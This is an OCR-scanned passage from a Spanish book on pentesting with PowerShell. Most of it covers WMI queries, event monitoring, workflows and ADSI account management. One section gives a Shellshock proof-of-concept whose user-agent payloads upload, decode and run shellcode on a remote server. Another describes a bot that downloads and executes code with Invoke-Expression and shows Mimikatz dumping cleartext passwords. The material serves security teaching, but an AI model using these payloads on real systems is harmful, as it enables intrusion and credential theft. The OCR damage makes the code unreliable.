(Get-WMIObject -ComputerName PC1 -List | Where-Object -FilterScript [S_.Name -eq “Win32_
Product"'}). Invoke Method( " Install ™", "\\ServidorAplicaciones\ruta\paguete.msi"').

Para climinar las aplicaciones la instruccion ¢s similar a la de instalacion, simplemente hay que
cjecutar (Ger-WmiObject -Class Win32_Product -Filter “Name="ILMerge " -ComputerName . ).In
vokeMethod( " Uninstall ', Snull).

13. WMI

\\_'N'll. Windows Management Instrumentation, es una implementacién de WBEM. Web-Based
Enterprise Management. Con esta tecnologia se pretende el establecimiento de normas estandar
para el acceso y recuperacion de la informacion con cardcter administrativo de los componentes
fisicos y logicos. Los recursos administrados son cualquier componente, ya sea [isico o logico,
que WMI soporte para su administracion. Por ejemplo, un recurso administrado son los servicios,
Procesos, el subsistema de disco, la BIOS, entre otros recursos.
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El consumidor WMI es la aplicacién que utiliza la tecnologia WMI para acceder a la informacion
de un recurso. Normalmente, WMI es utilizado en seripts, como por ejemplo javascript o vbs,
pero podria ser utilizado por alguna otra aplicacion. Por supuesto, también puede ser utilizado en
seripts de PowerShell. Tanto el consumidor WMI, como los recursos administrados. interactian
directamente con ¢l nlicleo de WML

(Qué se puede hacer con WMI? WMI permite recoger gran cantidad de informacion sobre el sistema,
actuar sobre partes fisicas o 1dgicas del sistema, evaluar la eficiencia mediante la toma de tiempos de
ciertos recursos, avisar de la aparicion de eventos en el sistema, en conclusion para la administracion
casi total del sistema.

. .
Clases e instancias

Las clases son moldes con ciertas propiedades y métodos o funcionalidades. Estos moldes
representan a los distintos recursos administrados de WMI. Uno de los ejemplos mas claros de clase
es win32 service, la cual define que es un servicio en Windows en el sentido mas genérico y utiliza
distintas propiedades. nombre, estado, descripcion, o distintos métodos, arrancar, parar, etcétera.

Las clases se almacenan en una base de datos del micleo de WMI. Las instancias de una clase
son lo que se conoce como objeto en la programacion orientada a objetos. Por lo que un recurso
administrado es una instancia de una clase, con sus métodos y propiedades. Por ejemplo, los servicios
son instancias de la clase win32 service.

En PowerShell se dispone del emdlet Ger-WmiObject el cual permite obtener informacion sobre
todas las instancias de una clase concreta. Su ejecucion es sencilla ger-wmiobject win32_bios. Sila
clase que se proporciona al emdlet dispusiera de varias instancias se obtendra informacion de todas
ellas. Por ejemplo, ger-wmiobject win32_process., cuya ejecucion devuelve todas las instancias, con
las propiedades de éstas.

Para realizar bisquedas de clases respecto @ un patron se puede utilizar el bucle foreach. Una posible
biisqueda seria la siguiente: get-wmiobject | foreach {$_.name | Select-String -Pattern win32*}. Con
esta busqueda se obtienen las distintas clases que comienzan por win32.

Hay que tener en cuenta que no todas las clases son almacenadas en el mismo espacio de nombres. El
niicleo de WMI distribuye las peticiones en funcion del espacio de nombres en el que se encuentren
las clases. Esta tarea es practicamente transparente al usuario.

En algunas ocasiones el usuario quiere buscar ciertas propiedades pero no sabe en qué clase, 0
incluso espacio de nombres, ésta se encuentra. Para estas circunstancias se debera realizar una
basqueda por todo el arbol de clases de WMI.

La idea es sencilla listar todos objetos WMI con el emdlet get-wmiobject, iterando sobre cada uno
de ellos obteniendo sus propiedades para ir filtrando s6lo los que tengan el patron requerido. En ¢l
presente ejemplo se requiere listar propiedades que contengan la palabra disk e ir obteniendo s

-

ase donde se encuentran para obtener los valores de dicha propiedad. El cédigo quedaria de la
&5 ;o
suiente manera ger-winiobject _list' | foreach [$ .properties} | where {§_.name mateh ‘disk’} |
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cl
si
select-object origin, name.

Ejemplo 1: Capacidad de disco

En primer lugar no se tiene porque saber cual es la propiedad ni la clase en la que se L‘II\.‘IJEf.ﬂll'lri
esta informacion. Por lo que, primero, se realizard una busqueda por palabras. como se menciono
anteriormente.

Se ejecuta la siguiente busqueda Ger-WmiObject -List | foreach {$_.properties} Where-Object ['§_.
in -match ‘disk’} | Select-Object origin, name. Se obticnen bastantes propiedades con diversidad
es. Se encuentra la clase win32_logicaldisk. Hay que recalcar que se ha filtrado origenes. es
ases. que contengan la palabra disk, obteniéndose las propiedades de dichas clases.

orig
de clas
decir ¢l
Win32 logicaldisk dispone de propiedades con nombre size y devicelD para su identificacion.
Se ejecutara la siguiente instruccién para mostrar la unidad del dispositivo, la capacidad de éste
y su espacio libre. Ger-WmiObject win32 logicaldisk | foreach {Write-Host $ .devicelD § .size
S freespace;] .

En la siguiente imagen se puede visualizar la salida de dicha ejecucion.

erz\bit 83/85/2012 18:58:57 > Get-UniObject uin32_logicaldizk ! foreach (Write-Host $_.devicelD §_.zize $_.frees

187037642752 63926918976
: 2913587328 21506818848

147103648 6258598418

¢ C:\Uzewrs\bit @3-85,2812 11:05:52 > il
Fig. 2.20: Obiencion de la capacidad y espacio libre de las imidades de la maguina.

Ejemplo 2: Estado de los servicios

En este ejemplo se buscard todos los servicios y su estado en la maquina. Para realizar la busqueda
se utiliza el mismo mecanismo utilizado en los ejemplos anteriores. Se obtienen distintos origenes.
pero ¢l que mas llama la atencion es win32_baseservice o win32 service.

También se puede observar la propiedad state que proporciona informacion sobre ¢l estado del
servicio en la miquina, Una vez se dispone de la clase y la propiedad concreta que reportard la
informacion buscada.

hit B3/P5/2812 11:51:21 > Get-WniObject win32_baseservice ! Foreach (Urite-Host $_.displaynane 5_.stated
¢ +» hozt compatible con OHCI 1394 Running
soft ACPI Running

lidor de energia ACPI Stopped

nction Driver for Winsock Running
t ﬂnxul AGP Stopped

» filtro de bus AMD AGP Stopped

Fig. 2.21: Obtencion del estado de los servicios.
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Monitorizacion de recursos

WMT crea la posibilidad de utilizar los eventos para la toma de decisiones. En otras palabras, con
PowerShell y WMI se pueden gestionar los recursos monitorizandolos en funcién de distintos
eventos. Cuando un evento se genere, se padré realizar algan tipo de acci6n al respecto. Un ejemplo
sencillo serfa la posibilidad de avisar al administrar que la cuota de disco ha alcanzado un porcentaje
concreto.

(Qué es un evento? Un evento es una accién generada por un recurso el cual puede disparar una
notificacién que sera atendida por un administrador. En esto se basa el potencial de la monitorizacién
de recursos. Con estos aplicativos, el administrador puede estar mds relajado en su trabajo, ya que
dispone de herramientas que le ayudaran ante una situacion que pudiera ser critica si el administrador
no se diera cuenta.

En PowerShell, version 2, se dispone de emdlet Register-WmiEvent. Este emdlet permite suscribirse
a los eventos WMI. A continuacidn se especifica algunos de los parametros mas interesantes del
cmdlet:

Parametro Descripeion

Especifica un bloque de seripting. es decir. la accion que debe

Action .
realizarse cuando se genere el evento

ComputerName Especifica el nombre de un equipo remoto

Credential Especifica una cuenta de usuario con la que se realizard la accién
Namespace [ndica el espacio de nombres de una clase WMI
Class Indica la clase de WMI que debe generar el evento
 —_— Especifica una consulta de WMI, con lenguaje WQL. que

identifica la clase de eventos

Sourceldentifier [ndica un nombre que es el seleccionado para la suscripeion

Tabla 2.09: Parametros de Register-WmiEvent,

En un ejemplo sencillo se puede observar varias piezas clave en el registro de eventos. Estas piezas
son la guery, la accion y el registro o suscripcion a los eventos.

La query se construye con un SELECT y un FROM, donde se indica que se quiere seleccionar
los eventos de tipo _ InstanceCreationEvent, es decir. los eventos de creacion de objetos. En
otras ocasiones pueden interesar otro tipo de eventos como de modificacion o eliminacion, -
__Instance ModificationEvent, _InstanceDeletionEvent. Existen otro tipo de eventos, pero los
comentados anteriormente son los interesantes.

Por otro lado se muestra un objetivo o hacia quien va dirigido con Target/nstance. En este objeto
o instancia se puede también realizar bisquedas en funcién de las propiedades, muy interesantes
en muchos casos. También hay que definir el significado de las palabras IS4 y WITHIN. ISA indicd

F

a que clase debe pertenecer la instancia que se quiere monitorizar. WITIHIN indica el intervalo, en
sesundos, en el que se gjecutard el administrador de eventos,
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La sintaxis de una query se escribe de la siguiente manera:

s~onsulta = “BELECT * FROM Instance[Creaticn|Modification|Deletion|Event
. WITHIN 5

WHERE TargetInstance 1SA ‘<instancia de clase>'

[AND TargetInstance.propisdad = ‘<valor>’]”

Hay que recordar que los corchetes aportan un significado de opcionalidad. Las consultas o query
siempre dispondran de un formato similar al del ejemplo anterior.

por otro lado, se especifica la accién que se debe llevar a cabo una vez ocurra el evento. Para
ello se dispondra de una variable con un SecriptBlock dénde se especificara que accion realizar.
£n los cjemplos se utilizaré la salida por pantalla, pero podria enviarse correos electronicos al
administrador, apagar equipos remotos, acciones administrativas automatizadas. o cualquier tipo de
farea que se requiera.

Por Gltimo se registra el evento. por lo que habrfa que esperar a que ocurriese dicho evento para
obtener los resultados, especificados en la accion.

ign = (write-host 7

er-Wmik

rent —Query $ed

Una vez se ha estudiado como registrar eventos, s¢ va a estudiar como eliminar ¢stos eventos
del administrador de eventos. Pucde ocurrir que ¢l administrador quiera eliminar su regla creada
anteriormente, Para ello se dispone del cmdlet Get-EventSubscriber. Este cmdlet recupera todos los
eventos registrados, identificados con un numero. Este niimero puede ser utilizado para eliminar el
evento.

En primer lugar, se ejecutara Ger-EveniSubscriber para obtener ¢l identificador del evento gue
interesa, Después se utilizara el emdlet Unregister-Event para desregistrar dicho evento. | gjemplo
seria, Get-EventSubscriber —Subscriptionld <mimero> | Unregister-Event.

14.Un exploit con PowerShell

El 24 de Septiembre de 2014 se publicd el descubrimiento de una vulnerabilidad en Bash, Bourie-
Again Shell, con la que un usuario podria ejecutar codigo. Esta ejecucion puede ser remota ya que
muchos procesos invocan a bash en su ejecucién, por ejemplo un servidor web que necesita generar
un sitio web dinamicamente. A esta vulnerabilidad la apodaron Shellshock y para muchos fue una
de l.as vulnerabilidades mas criticas del afio 2014, ya que permitia realizar una ejecucion de cédigo
arbitrario en remoto. El expediente de la vulnerabilidad inicial es CVE-20/4-627] descubierta

por ts"?l’hen Chazelas. aunque durante los dias posteriores fueron saliendo publicadas diversas
modificaciones.



¢Como funciona? Al final, en el caso de un servidor de Internet se puede necesitar ejecutar un
script de bash para generar un sitio web. Este serips puede necesitar informacion externa, como por
ejemplo el User Agent. Para pasarle al script esta informacion se hace a través de las variables de
entorno.
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La vulnerabilidad radica en que bash sigue leyendo y ejecutando lo que encuentra después de la
definicion de una funcién en una variable de entorno. En la siguiente linea se define una funcién
x vacia y después se concatenan diversos comandos, los cuales seran ejecutados por el intérprete.
Como ejemplo se presenta la siguiente instruccion env x = () { :; }; echo vulnerable 'bash —c “echo
explotado”. Bash seguira leyendo después del cuerpo de la funcién, y ejecutara el codigo que esti
Justo después, imprimiendo por pantalla el texto vulnerable y explotado.

PoC: Explotando Shellshock desde PowerShell

En esta prueba de concepto se muestra un escenario en el que un servidor web es vulnerable a
Shellshock por tener bash desactualizado. El header User Agent enviado desde el cliente al servidor
web es utilizado como variable de entorno para pasérselo a un script de bash. por lo que se podria
ejecutar comandos sobre la maquina remota.

El escenario que se presenta es el siguiente:
- Maéquina Kali Linux que es vulnerable a Shellshock.
- Maquina Windows 8 con PowerShell version 3.
- El pentester ha evaluado el entorno y ha encontrado la vulnerabilidad.

Elseript es parametrizado, por lo que puede recibir la direccion URL del servidor que sera explotado,
un parametro de tipo swifch, es decir un flag de verdadero o falso, y un tercer pardmetro que ser4 la
shellcode en base64 que se quiere subir al servidor remoto con el fin de ejecutar dicho cédigo.

La ejecucion de este seripr se llevaria a cabo de la siguiente manera shellshock.ps1 —url <diveccion
URL> [-exploit] ~base64 <shellcode en base64>. Hay que notar que ¢l flag exploit es opcional y no
obligatorio, por ello se encuentra entre corchetes.

param (

Parameter (Mandatory) |

La primera funcion a realizar es la denominada request con la que se podra realizar las peticiones
maliciosas contra el servidor. La funcion request estd parametrizada por la direccion URL que
se recibe por el invocador y por el User Agent, que sera el campo que correctamente modificado
permitiréd la explotacion de la vulnerabilidad. La funcién devuelve, a través de la variable Sresponse,
la respuesta obtenida.

La segunda funcién se denomina check y permite verificar si la maquina remota es vulnerable a
Shellshock. La funcién check recibe un parametro de forma obligatoria, ya que se indica con la
cliusula Mandatory. La funcién check invoca a la funcion request para realizar una peticion y poder
comprobar si la instruccion “echo hola" es ejecutada en remoto. De ser cjecutada, el pentester
podria verla reflejada en la respuesta del servidor. La funcion check devuelve un valor hooleano. el
cual se obtiene tras ejecutar la instruccién refurn (Sresponse. RawContent, Contains(*hola’)) . En
esta condicion se comprueba si la respuesta contiene la palabra “/i0la” o no.
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function raguest (

param(

- [Parameter (Mandatory) |
[string] Surl,
[Parameter (Mandatory) ]
[string) ZuserAgent

Surl -UserAgent Suserkgent
e 1 check{
am{
[Parameter (Mandatory) |
string] 1
)
$response = reguest —url $url -userBgent “() { :; }; echo; /bin/fecho hgla”

nt.Contains (“hela”) )

Por altimo, existe un main en el que lo primero que se hace es comprobar. mediante el uso de la
funcion check, si la maquina remota es vulnerable a Shelishock. En caso de que la maquina remota
no sea vulnerable se finaliza la ejecucion del seripr.

St la maquina remota es vulnerable se pasa a comprobar si el flag exploit ha sido activado en
la ¢jecucion del seripr. Si no ha sido activado en la ejecucion del seripr, éste finalizara sin mas
acciones que realizar. Si por el contrario este flug ha sido activado se ejecutardn 4 peticiones contra
la direccion URL proporcionada:

- La primera peticion Sresponse = request -url Surl -userAgent “() { :; ): echo; /binfecho
Shase64 > /tmp/pay " sube la shellcode en base64 al servidor remoto y crea un fichero en /
tmp/pay con dicho contenido.

- La segunda peticién Sresponse = request -url Surl -userdgent () { :; ) echo; /fhin/
cat /tmp/pay | fusr/bin/base64 -d > /tmp/pay2 " transforma el contenido del fichero subido
anteriormente, el cual era base64, a su formato original, en este caso un binario elf.

- Latercera peticion Sresponse = request -url Surl -userAgent () { :; | echo; /bin/chmod
744 /tmp/pay2 " cambia los permisos del binario para poder ejecutarlo en la siguiente peticion.

_ La cuarta peticion Sresponse = request -url Surl -userAgent () { :; ) echo; /imp/pay2”
¢jecuta el binario.
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A continuacion se puede visualizar una imagen en la que se ejecuta el script de Shellshock con los
diferentes pardmetros.

':\Users\pgonzalez\Desktop> .\shellshock.psl —upl http://192.168 .56 .102
bin/vuln.cgi —exploit —

hase64 fAUMRGEBAGAAARAARAAAAATAAWABARAAUIAECDOAA

et vulnerable
loit. ..

d shellcode

3 fOUMRGEBAQARAAAAARAAAAIARWABAARAVIAECDOAARARAARARARAAAD
BARARAAAAAAEAAD

du ARAAARARTAECACABAiZAAANGAEAAACARRAAEAAA2tDZACTARhiUNBLA
“ﬂPHDFFFgNFFngBpkHaneige/@EpeXtBT?/qZBl/El7debngNTX/nJHeaththi/
v~NUC§RQ3GCSliDNpluLpNnPnbUDBnyNhI=

ode in hase64 to hinary...

to hinary.

ting...

and take control?

Fig. 2.22: Ejecucion del script que explota la vulnerabilidad de Shellshock.
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—flle Scommandl(l

~ysername ‘flupred

"

= $command -ne “quit!

T

2 A través de funciones que son descargadas a traves del emdlet Invoke-
{ se descarga el codigo desde un servidor web, aunque como se ha
sde otras ubicaciones, por ejemplo Twitter o Pastebin.

. Cémo se carga el codigo
WebRequest. Con este cmdle
comentado se puede descargar de
deodeado en el seript, por lo que se entiende

gjecutar no se encuentra hai
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tipo de hots. Cuando el codigo es descargad
Invoke-Expression para cargar la funcién en el am

ahora en adelante.

Scommand [12)

£ (Scommandlist

1 los comandos? Como se menciond anteriormente los comandos pueden ser leidos
ambién puede ser leido del propio servidor web
y entendiendo que el usuario ¢
prompt. Se decidié utilizar unt

. De donde se leer
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s dinamicamente. En este ejemplo.

donde se cargan las funcione
éste el que los introduzca desde el
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nomenclatura basica, la cual consta de tres partes:

Comando de carga denominado /load.

El segundo comando indica ¢l nombre de la funcién que acaba de ser cargada con Invoke:

WebRequest concatenado con Invoke-Expression.

indica los parametros que deben ser pasados a la funcite

- El tercer comando es opcional e
que se ha cargado en el ambito del script previamente.
En resumen la sintaxis es la siguiente load | <nombre funcion™> | <argumenios de la fincions
Supéngase que existe una funcion como la que se muestra en la imagen. Desde el promp
ejecuta la instruccion load | vpn_mitni | -ip <direccion IP vpn server=.y ;ahora qué OCUlTe?’
se puede ver en el codigo, una vez se introduce la orden, se descarga y cargad el codigo en el

 del bot %

R e
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del .\‘cn/‘)l en to-nna‘dc funcién y se invoca su ejecucion. En este caso esta funcion generars

de \".Pl\ y I'Ca.]lzara laponexi(m a un servidor de VPN ubicado cn'Ia‘ (lirccckiénl I?fl‘]el:]m = /)'W/I/U
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hmc!son vpn_mitm{

param
(
[Parameter{Mandatory)]
[string] Sip
)

Add-VpnConnection -Name proof -
ServerAddress Sip -TunnelType Pplp -
‘ AuthenticationMethod MSChapy2
! rasdial exe "proof” pablo melasploit

)

Fig. 2.24: Cédigo en un fichero TXT d i
f digo en un fichero TXT de una funcion que se puiede cargar con ¢l bol

Otro C_I'j'mplo de cddigo que se puede ejecutar es un mimikatz. Este cédigo se pue

del ({(.)(]Jlll]ll() de scripts que proporciona PowerSploit a través de su gith ;-L/.Sk P'“’M'IC “‘]"“”“"
n:u"’l/v,\'lu/:u/f'/’u\rui'ﬁbi()ih Sobre PowerSploit se estudiarain muchas .‘m"i:l ’v’h’"/’.-‘-""'3”/_””"'””'“’
cup.llulus del llhl'(\b;, ('t')mo se puede visualizar en la imagen. una vez ;]ue l"x\I’LlT}U‘bi:h f“ *“.:‘"'.C"’xc—“
:ht,l:;:i“:l: cln el .“"‘nb!:f del ‘[)01'. la salida proporciona informacion sobrg.: las tgxlllklzgil:‘l\:lxl:lldv'
suarios que han iniciado sesio 28 1Impce " i S
s tC"CI.SrL,:;:;;ez;Oi sistema. Es importante recordar que para ejecutar Mimiker:

Authentication Id

B ; 64899 <9PBAERVRG:

Interactive from 1 veRgrdee

Administrator

|3slvc1_18
S-1-5-21-3507275698-1183418431-608800615-500

nsy :

[BABAARB3 1 Prinary

" U:;cx'r'mm: Adninistrator

" {.)(r)‘m\ln hell8

LI A 87351722¢c3a?7d2c65a

¢ 2c3e 2cbS5aacdB84cd4 2

: gak? ;g}lg;\;?i& /6981!:\11891:59(152‘23;3;?;

el c?a665da?7483738c65d8dce?h3f1che2?74
* Usernane
* Domain

* Passuword
wdigest :

* Usernane
* Domain

% Passuord

Administrator
pshell8
123abc..

Adninistrator
pshell8
123ahc. .

* Usernanc

* Domain

* Passyord
ssp s

crednan :

Adnministrator
pshell8
123abc..

Fig. 3.35° Erornois i
ig. 2.25: Ejecucion de la funcion de Mimikatz a través de PSBoi
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A continuacién se puede ver un recopilatorio de proyectos. conjuntos de scripts y frameworks que
utilizan codigo PowerShell para ejecutar acciones a bajo y alto nivel y pueden ser utilizados en

ataques en un pEIHC’SI.

En los préximos capitulos se estudiaran diversos fiameworks, y aunque ahora se hace un pequefip
resumen de los utilizados en este bot, hay otros que aportan muchas funcionalidades interesantes
para el pentesting con PowerShell.
- PowerUp. Proporciona diferentes herramientas para llevar a cabo escaladas de
privilegios en Windows. Su Github esta en la direccion URL hups://github.com/Veil-
Framework/PowerTools/tree/master/PowerUp.
- PowerSploit. Como se comenté anteriormente es el conjunto de scripts de PowerShell
por excelencia. Su Github estd en la direccion URL https://github.com/mattifestation/
PowerSploit.
- Posh-SecMod. Un framework el cual permite interactuar con Shodan, Metasploit o
Nessus. Puede ser utilizado en post-explotacion o identificacion y descubrimiento de activos,
Su Github se encuentra en la direccion URL hrrps://girhuh.wm/darkopemtor/Posh—SecMad,
. PEchecker. Estos scripts comprueban las opciones de compilacion y mecanismos de
proteccion como son ASLR, DEP, SafeSEH, entre otres. Su direccion URL de Github se
encuentra en https://github.com/NetSPI/PEchecker.

16. Workflows

Los workflows o flujos de trabajo permiten al administrador utilizar éstos para ejecutar tareas o
acciones en paralelo en la propia linea de comandos. Esta funcionalidad puede ser realmente uti
para aprovechar el potencial de la méquina y los recursos hardware y, ademas, automatizar de
manera més eficiente las tareas a realizar en el dia a dia del pentesting.

Estos flujos de trabajo aparecen en la version 3.0 de la linea de comandos de Microsoft 'y aportan
potencia al usuario.

(Por qué los workflow en Powershell? Esta pregunta tiene una sencilla respuesta, la nube y los
centros de datos basados en Windows. La computacion en la nube proporciona alta disponibilidad,
servicios escalables que aprovechan un gran volumen de datos, etcétera.

La gestion del cloud tiene que ser fiable y para disponer de esta fiabilidad se integran los workflows
en Powershell. Suelen ser flujos de trabajo de larga duracién que estan disefiados para soporisf
errores de los componentes o dispositivos de red, es decir, resistir a los fallos.

Powershell se aprovecha de la escalabilidad y la madurez en la que se encuentra Windows Worm'
Foundation 4.0 para llevar los beneficios de los flujos de trabajo a los desarrolladores en Powers

Los objetivos principales de los workflow son los siguientes:

r
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- Minimizar la complejidad de : izacic 4
: ¢ la automatizacion a través de un gran ni :
S n namero d ;
centro de datos. o O de equipos O

- Realizar mayor niimero de tareas en paralelo para lograr una optimizacién de tiempos

Se mejoraron los siguientes aspectos:
- Flujo de trabajo simplificado.
- Reutilizacién del conocimiento existente, es decir, en Windows Wokflow Foundation.
- Realizar un flujo de trabajo fiable.
- Rendimiento y escalabilidad.

El flujo

Para la creacion de flujos de trabajo se ha reutilizado la sintaxis de Powershell. Este movimiento de
Microsoft se produce para facilitar al usuario que ha invertido tiempo en el aprendizaje de esta linea
de comandos. Los 11'01'/9‘/0!\'. XAML, eXtensible Application Markup Language, son compatibles
con Powershell, por lo que si se disponen de este tipo de workflows seguirin siendo compatibles

Siel afin.nmslrad.or o pentester escribe con asiduidad scripts en Powershell sera realmente sencillo
el G‘SL'r.Iblr lus' flujos de trabajo.. Se aprovechara los conocimientos que se disponen para el desarrollo
de seripts y simplemente afadiendo nuevas, pero pocas, construcciones se generaran los workflows

.-\mc.s. de ver el esqueleto fie un workflow se debe tener en mente algunos conceptos como son la
seceion paralela y secuencial que serdn estudiadas més adelante.

A continuacion se especifica el esqueleto de un workflow y el aspecto que éstos tienen:

ze indican mediante la paiabra reservada workilow
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Directorio: C:\Users\Administrador

LastWrit

25/06/2812
25/06/2812
25/06/2012
25/06/2812
25/086,2012
25/06/2812
25/06/2812
25/086,2812
25/06/2812
25/86/2012
25/06/280

ime

Contacts
Desktop
Documents
Dounloads

Pictures
Saved Games
Searches
Uideos

Fig. 2.26: Ejecucion de un workflow basico.

Existen ciertas palabras reservadas para optimizar y configurar la ejecucion de los workflows. Se
puede requerir ciertas tareas en paralelo y otras de manera secuencial. Para ello se dispone de las
palabras reservadas Parallel y Sequence. La semantica es bastante sencilla, si en el cuerpo de un
workflow se indica un campo Parallel abriendo llaves se especifica que las tareas que se escriban en
el interior de ese campo se realizaran en paralelo. Por el contrario si en el cuerpo de un workflow se

r
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las

Se puede observar como la ejecucion en paralelo puede provocar que cuando

tareas requicran
utilizar el recurso de la pantalla la salida de informacion sea entre medias, y ejecutando varias
veces el mismo workflow la salida o presentacion de la informacion se en distinto orden. Se puede
visualizar como las dos tareas son ejecutadas simultaneamente.

En el siguiente ejemplo se ejecuta dos tareas en paralelo. pero una de ellas tiene varias instrucciones

secuenciales.

indica un campo Sequence se indica que las tareas que s€ encuentren en el interior de las llaves se

ejecutaran de manera secuencial, es decir, siguiente el orden de aparicion en el script. Como ejemplo

se puede observar el siguiente:

Directorio: C:\Users

Segunda Lavc&
19,85/2812
319

19/07/2612
19/87/2012

PS C:\Users> i64

5/86/2812

11:84

Directorio: C:N\Users

25/06/2012
19/05/2012
Segunda tarea
Ea—— 19,82/2812
19/87/2812

LastiriteTine

11:84

11:35

14:49
14:51

Name

fidninistrador

Public
i6b4.

Length Name

Aidninistrador
Public

: Ejecucion en paralelo.

localhost

PSComputerNant

localhos
localhe

localhost
localhost

Directorio: C:\Users

25/86/2012
19/85/2812
- 19/87/2812
a—-— 19,87,/2812
Segqunda tarea
Sequnda secuencial

'S C:\Users> i64
Directorio: C:\Users
LastiriteTime

25/086/20812
19/85/2012

unda tarea

19,87,2012
19,87,2012
cgunda secuencial

LastlriteT ime

Length Name

Administrador
Public
142 i64.txt
2114 proc.txt

Length Name

Administrador
Public

142 i64.txt
2114 proc.txt

N 3 I S iad = . :
Fig. 2.28: Ejecucion en paralelo con tareas secuenciales

PSComputerName

localhost
localhost
localhost
localhost

PSComputerName

localhost
localhost

localhost
localhost

S¢ puede observar en el codigo como existen dos tareas en ejecucion paralelas, mientras que la
[?rlmcm lerL.".l paralela dispone de dos instrucciones secuenciales. En la ejecucidn se puede visualizar
¢omo la primera tarea paralela ejecuta dos subtareas o instrucciones de manera secuencial y en
Mingun caso se ejecutaré la segunda antes que la primera. '

Por ele ; .
contrs i . e . :

s ontrario si que se puede solapar la segunda tarea que se ejecuta en paralelo con las otras dos
>Hicciones que componen la primera tarea paralela.



Pentesting con PowerShell

Algunas instrucciones pueden provocar errores n el cuerpo del workflow y no ejecutarse o completar
la tarea o subtarea. Es por esto que se utilizan los In/ineScript, son pequedios bloques de seripf que se
ejecutan en el interior del workflow y permiten ejecutar esas instrucciones que anteriormente daban

€rror.

Un ejemplo de codigo y ejecucion de InlineScript es el siguiente:

cripty
Sa=1+

Pruepa

' InlineScript “
En ejecucion

1.6 Linea i64:6 char:6
i64

Directorio: C:\Users

PSComputerName

Length Name
25/86/,2812 Administrador localhost
19,/85,2812 Public localhost
19,872,2012 142 i64.txt localhost
19,87,2012 2114 proc.txt localhost

egunda secuencial

Fig. 2.29 : Ejecucion de InlineScript.

17.Otros productos

En este apartado se estudiara la interaccion con p
o Internet Information Service. También se explic
proporcionan los modulos de directorio activo y de 11S. Esto proporciona una idea basica alp
que puede utilizar esta informacion para sus seripts, como hacen muchos frameworks de los que$

‘oductos de Microsofi, como el directorio activo

ard la mejor forma de utilizar los emdlets qUe
entester

estudian en el libro.

|
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Directorio activo, ;Por qué?

E| directorio activo permite a los administradores gestionar los recursos, usuarios. permisos. politicas
de seguridad de manera centralizada. Esta implementacion utiliza distintos protocolos, como pueden
ser DNS (Domain Name System), Kerberos. LDAP (Lightweight Directory Access Protocol)

Se puede visualizar el directorio activo como una gran base de datos centralizada, accesible desde
una red distribuida y organizada. En el directorio activo se dispone de objetos, que pueden ser
usLarios, recursos y servicios, .

El objetivo de este apartado es explicar las herramientas que se disponen en Powershell para gestionar

¢l directorio activo. Las tareas realizadas con Powershell sobre el directorio activo pucdel; resultar
o . - . - : :

de gran utilidad al administrador en el instante de gestionar los seripts para la automatizacion de

lareas.

Para versiones previas a Windows 2008 R2 se dispone de ADSI, Active Directory Service Interfuces
¢l cual soporta distintos tipos de directorios. por ejemplo. LDAP o la base de datos de cuentas lUC'li(\.
de Windows SAM, Security Account Manager: ADST no aporta riqueza semantica a Pou cthvU’t ya
que no existen emdlets. Cuando se requiera trabajar sobre bases de datos de cuentas lomle\. \L ‘\I‘L‘H(L:
utilizar ADSI, y en versiones servidor donde no se disponga de la posibilidad de utilizar ¢l modt;h
de directorio activo de Powershell también.

En Windows 2008 R2 se dispone de un modulo para Powershell para la gestion del directorio activo
I'ste modulo aporta gran flexibilidad y sencillez para realizar las [aret“xs de gestion klcll 'd.’r:-rhuin
activo y su uso. siempre que se pueda. es altamente recomendado. El médulo dispone de Hl‘l
proveedor. como los vistos anteriormente en el libro. y un conjunto de emdlets para la interaceio

con el directario activo. ' S

ADSI: La API para equipos locales
.4\Il).\l puu.dc interactuar con la base de datos de cuentas locales de los equipos cliente de Window:s
v L e " i e St g 9 . o ;
,\\\ul\hﬁtl.\l()lk.\ servidor a excepcion del controlador de dominio. Esta base de datos denominada
SANV ..xhln‘:lccnn objetos de tipo usuario y grupos de usuario. El proveedor que se utilizara la acceder
a estos abje s WinNT: ay specificar ¢ i s : ion.
jetos es WinNT: y hay que especificar que las mayisculas y mindsculas. en esta ocasion
tienen relevancia, . 7 o
Para gestionar este tipo i i
o g Alul nar este tipo de bases de datos se intentard buscar una estrategia para. en primer lugar
oner de una logica y ¢ cimie ¢ 1 ” ' : -
m:i 1u una logica y conocimiento de lo que se va a realizar. y en segundo lugar. optimizar el
1() Y G Qe e - M T - - = ) : )
8O de Scripting para seguir un patron e intentar automalizar ¢l proceso.

El prin i i

J CI Paso sera res - 14 cONEXION 2 AqQui

s hpa 0 sera realizar [a conexion a la maquina, ya sea local o remota. Para ello la instruccion
St iuumx es Scon = [ADSI] "WinNT://<mdquina>". La instruccion utiliza el proveedor

Vi, Y §Se conecta . A1 v ge reauiera. si e aqui i i '
e b aa la maquina que se requiera, si la maquina fuera local se deberia ejecutar la
ot tal cua ;,(.'({,, = [ADSI]"WinNT://$(hostname) "'. Para cualquier interaccion con la SAM
abrir la conexién con la maquina.
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Una vez se dispone de la conexion abierta se puede empezar @ realizar consultas, inserciones o
modificaciones sobre la méquina. Es importante, para entender la estructura en la que ADSI trabaja,
visualizar la maquina como un arbol dénde la propia maquina es la raiz. Cuando se crea un objeto
usuario, éste colgara de la raiz que es la propia maquina. C uando se crea un objeto grupo, éste se
encontrara al mismo nivel que el objeto usuario. Dentro de los grupos se encuentra una lista de
miembros. por lo que el objeto grupo sera el padre del objeto miembros de usuarios de dicho grupo,

|
|

WinNT://<maquina>

WinNT://<maquina>/<usuario>—

\
| - -

WinNT://<maquina>/<grupo> V\ﬁnNT://<méquina>/<9eMcio>

—ﬂl—WinNT://<méquina>/<grupo>/<miemhros>

Fig. 2.30: Aproximacion a la estructitra WinNT:.

En los siguientes apartados se estudiara como realizar distintas acciones sobre usuarios y grupos,
pero se dispone de una estrategia global de como se realizaran las distintas consultas o modificaciones
sobre la SAM a través de ADSL. Por ejemplo, si se requiere colocar la conexion en un objeto grupo
concreto, en vez de abrir la conexion como se explico anteriormente, s¢ deberia bajar un nivel enli”
estructura de la siguiente manera Scon = [ADSI] "WinNT://<mdquina>/<nombre grupo>,gmup”.

Lo dificil en la presente estrategia es saber que propiedades y métodos utilizar para obtener '8
informacion. Para ello se veran distintos ejemplos en los siguientes apartados.

Ejemplo 1: Listado de usuarios
En primer lugar y siguiendo la estrategia definida en el apartado anterior se crea la conex
apuntando a la raiz de la estructura. Después se invoca a los clementos que cuelgan de la raiz p
quedarse con los que son de clase user. Una vez realizada esta accion hay que mostrar el nom
esos elementos. Para el ejemplo también se obtendra el ltimo login.

r
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(Que Pf‘?Pl’eg.adts se puede obtener de los usuarios? Esta interesante pregunta que respondida
